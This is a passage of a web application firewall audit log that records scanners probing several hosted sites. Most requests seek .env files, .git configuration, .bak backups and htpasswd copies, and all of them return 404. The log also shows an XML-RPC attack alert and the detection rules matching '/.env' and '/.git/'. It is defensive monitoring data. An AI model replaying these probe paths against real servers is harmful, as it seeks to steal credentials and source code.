"/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/examples/.env"] [unique_id "aE8RlKzY0BMZNmg1_r12-QAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012308658591 682514 (- - -) Stopwatch2: 1750012308658591 682514; combined=2001, p1=415, p2=1476, p3=0, p4=0, p5=109, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --14d28f49-Z-- --b9f2c558-A-- [16/Jun/2025:00:01:55.087396 +0530] aE8RmkaE4AHnWcPpQgmdUAAAAAo 185.177.72.210 46260 127.0.0.1 7081 --b9f2c558-B-- GET /lab/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b9f2c558-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9117e9221eb2e079f7ce202d0ad113a41750012314; expires=Sun, 15 Jun 2025 19:31:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b9f2c558-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/lab/.env"] [unique_id "aE8RmkaE4AHnWcPpQgmdUAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012314359703 727755 (- - -) Stopwatch2: 1750012314359703 727755; combined=1643, p1=367, p2=1185, p3=0, p4=0, p5=90, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b9f2c558-Z-- --c6acac1e-A-- [16/Jun/2025:00:01:58.150241 +0530] aE8RnS7MaF0j8lD2KTIPDwAAAAM 185.177.72.210 46380 127.0.0.1 7081 --c6acac1e-B-- GET /:8443/tests/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c6acac1e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ab64422a8b0ac24be6b1699a4e287fbe1750012318; expires=Sun, 15 Jun 2025 19:31:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c6acac1e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/tests/.env"] [unique_id "aE8RnS7MaF0j8lD2KTIPDwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012317474214 676102 (- - -) Stopwatch2: 1750012317474214 676102; combined=1779, p1=448, p2=1233, p3=0, p4=0, p5=98, sr=118, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c6acac1e-Z-- --5f476c42-A-- [16/Jun/2025:00:02:18.473807 +0530] aE8RsZ9la7T0lySWw7UAdQAAAAQ 128.199.112.101 37584 127.0.0.1 7081 --5f476c42-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5f476c42-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5f476c42-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8RsZ9la7T0lySWw7UAdQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012337485710 988152 (- - -) Stopwatch2: 1750012337485710 988152; combined=2129, p1=313, p2=1473, p3=39, p4=54, p5=156, sr=86, sw=94, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5f476c42-Z-- --1233472c-A-- [16/Jun/2025:00:02:20.471788 +0530] aE8Rs6SMmxZaGWa7XLL29gAAAAY 185.177.72.210 44872 127.0.0.1 7081 --1233472c-B-- GET /config.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1233472c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=32477d5528f646ffd84af5987dba167a1750012340; expires=Sun, 15 Jun 2025 19:32:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1233472c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config.bak"] [unique_id "aE8Rs6SMmxZaGWa7XLL29gAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012339818111 653752 (- - -) Stopwatch2: 1750012339818111 653752; combined=1844, p1=318, p2=1419, p3=0, p4=0, p5=106, sr=82, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1233472c-Z-- --2b075d61-A-- [16/Jun/2025:00:02:28.386119 +0530] aE8Ruzsd7F70xyVs_qyGKQAAAAI 185.177.72.210 45124 127.0.0.1 7081 --2b075d61-B-- GET /services/registry/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2b075d61-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=afd1486408b9c07df86adfd429db664a1750012348; expires=Sun, 15 Jun 2025 19:32:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2b075d61-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/services/registry/.env"] [unique_id "aE8Ruzsd7F70xyVs_qyGKQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012347729910 656271 (- - -) Stopwatch2: 1750012347729910 656271; combined=1747, p1=370, p2=1288, p3=0, p4=0, p5=89, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2b075d61-Z-- --4e7d1d12-A-- [16/Jun/2025:00:02:31.511752 +0530] aE8Rvjsd7F70xyVs_qyGLQAAAAI 185.177.72.210 35016 127.0.0.1 7081 --4e7d1d12-B-- GET /htpasswd.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4e7d1d12-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a34adba4822d83589268d0fec05105891750012351; expires=Sun, 15 Jun 2025 19:32:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4e7d1d12-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/htpasswd.bak"] [unique_id "aE8Rvjsd7F70xyVs_qyGLQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012350831312 680541 (- - -) Stopwatch2: 1750012350831312 680541; combined=2000, p1=306, p2=1541, p3=0, p4=0, p5=152, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4e7d1d12-Z-- --5019582a-A-- [16/Jun/2025:00:02:32.495615 +0530] aE8Rv0aE4AHnWcPpQgmdZAAAAAo 185.177.72.210 35120 127.0.0.1 7081 --5019582a-B-- GET /.git/info/refs HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5019582a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c2e1c79a98a3c70bc7d9b5c6976327101750012352; expires=Sun, 15 Jun 2025 19:32:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5019582a-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/info/refs"] [unique_id "aE8Rv0aE4AHnWcPpQgmdZAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012351847102 648576 (- - -) Stopwatch2: 1750012351847102 648576; combined=2119, p1=387, p2=1635, p3=0, p4=0, p5=96, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5019582a-Z-- --99808e52-A-- [16/Jun/2025:00:02:39.917962 +0530] aE8Rx8eCLQXSV5p8-VEa6QAAAAA 185.177.72.210 35656 127.0.0.1 7081 --99808e52-B-- GET /:8443/conf/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --99808e52-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3cadaef513968fd089108757e581ebaa1750012359; expires=Sun, 15 Jun 2025 19:32:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --99808e52-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/conf/.env"] [unique_id "aE8Rx8eCLQXSV5p8-VEa6QAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012359255713 662321 (- - -) Stopwatch2: 1750012359255713 662321; combined=1767, p1=418, p2=1261, p3=0, p4=0, p5=87, sr=112, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --99808e52-Z-- --66e9b333-A-- [16/Jun/2025:00:02:50.126700 +0530] aE8R0p9la7T0lySWw7UAigAAAAQ 74.81.40.26 39754 127.0.0.1 7080 --66e9b333-B-- GET /system/logs/error.log HTTP/1.0 Host: deckstory.com X-Real-IP: 74.81.40.26 Connection: close Cache-Control: no-cache Pragma: no-cache Accept: */*, User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1 +http://www.googlebot.com/bot.html) --66e9b333-F-- HTTP/1.1 404 Not Found Content-Length: 259 Connection: close Content-Type: text/html; charset=iso-8859-1 --66e9b333-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||deckstory.com|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||deckstory.com|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "deckstory.com"] [uri "/system/logs/error.log"] [unique_id "aE8R0p9la7T0lySWw7UAigAAAAQ"] Stopwatch: 1750012370123657 3091 (- - -) Stopwatch2: 1750012370123657 3091; combined=1887, p1=329, p2=1460, p3=19, p4=26, p5=53, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --66e9b333-Z-- --74178310-A-- [16/Jun/2025:00:02:52.368813 +0530] aE8R067jjZllglTPVFaHpgAAAAk 185.177.72.210 33792 127.0.0.1 7081 --74178310-B-- GET /:8008/wp-content/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --74178310-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5f8f4283c332d49255b75179cd200eb91750012372; expires=Sun, 15 Jun 2025 19:32:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --74178310-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/wp-content/.env"] [unique_id "aE8R067jjZllglTPVFaHpgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012371695915 672965 (- - -) Stopwatch2: 1750012371695915 672965; combined=1710, p1=360, p2=1241, p3=0, p4=0, p5=108, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --74178310-Z-- --8716e735-A-- [16/Jun/2025:00:02:54.395703 +0530] aE8R1Tsd7F70xyVs_qyGPAAAAAI 185.177.72.210 33910 127.0.0.1 7081 --8716e735-B-- GET /:8181/.env.local.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8716e735-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5c792c956d346b7feb0bed55602adfdb1750012374; expires=Sun, 15 Jun 2025 19:32:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8716e735-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.local.example"] [unique_id "aE8R1Tsd7F70xyVs_qyGPAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012373749457 646308 (- - -) Stopwatch2: 1750012373749457 646308; combined=2036, p1=458, p2=1481, p3=0, p4=0, p5=96, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8716e735-Z-- --92ee6f57-A-- [16/Jun/2025:00:03:01.236578 +0530] aE8R3EaE4AHnWcPpQgmdcwAAAAo 185.177.72.210 33540 127.0.0.1 7081 --92ee6f57-B-- GET /.vscode/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --92ee6f57-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=52a30a5186c3d54b0968804e6495bc061750012381; expires=Sun, 15 Jun 2025 19:33:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --92ee6f57-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.vscode/.env"] [unique_id "aE8R3EaE4AHnWcPpQgmdcwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012380568159 668483 (- - -) Stopwatch2: 1750012380568159 668483; combined=1957, p1=397, p2=1457, p3=0, p4=0, p5=103, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --92ee6f57-Z-- --c73ca117-A-- [16/Jun/2025:00:03:08.620939 +0530] aE8R40aE4AHnWcPpQgmddgAAAAo 185.177.72.210 33820 127.0.0.1 7081 --c73ca117-B-- GET /backups/.env.dev HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c73ca117-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=82d72c95a9938e459c45b2efa385fbaf1750012388; expires=Sun, 15 Jun 2025 19:33:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c73ca117-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backups/.env.dev"] [unique_id "aE8R40aE4AHnWcPpQgmddgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012387869610 751392 (- - -) Stopwatch2: 1750012387869610 751392; combined=1833, p1=365, p2=1371, p3=0, p4=0, p5=97, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c73ca117-Z-- --99808e52-A-- [16/Jun/2025:00:03:10.642232 +0530] aE8R5Tsd7F70xyVs_qyGQwAAAAI 185.177.72.210 47666 127.0.0.1 7081 --99808e52-B-- GET /backup/.git/config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --99808e52-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, 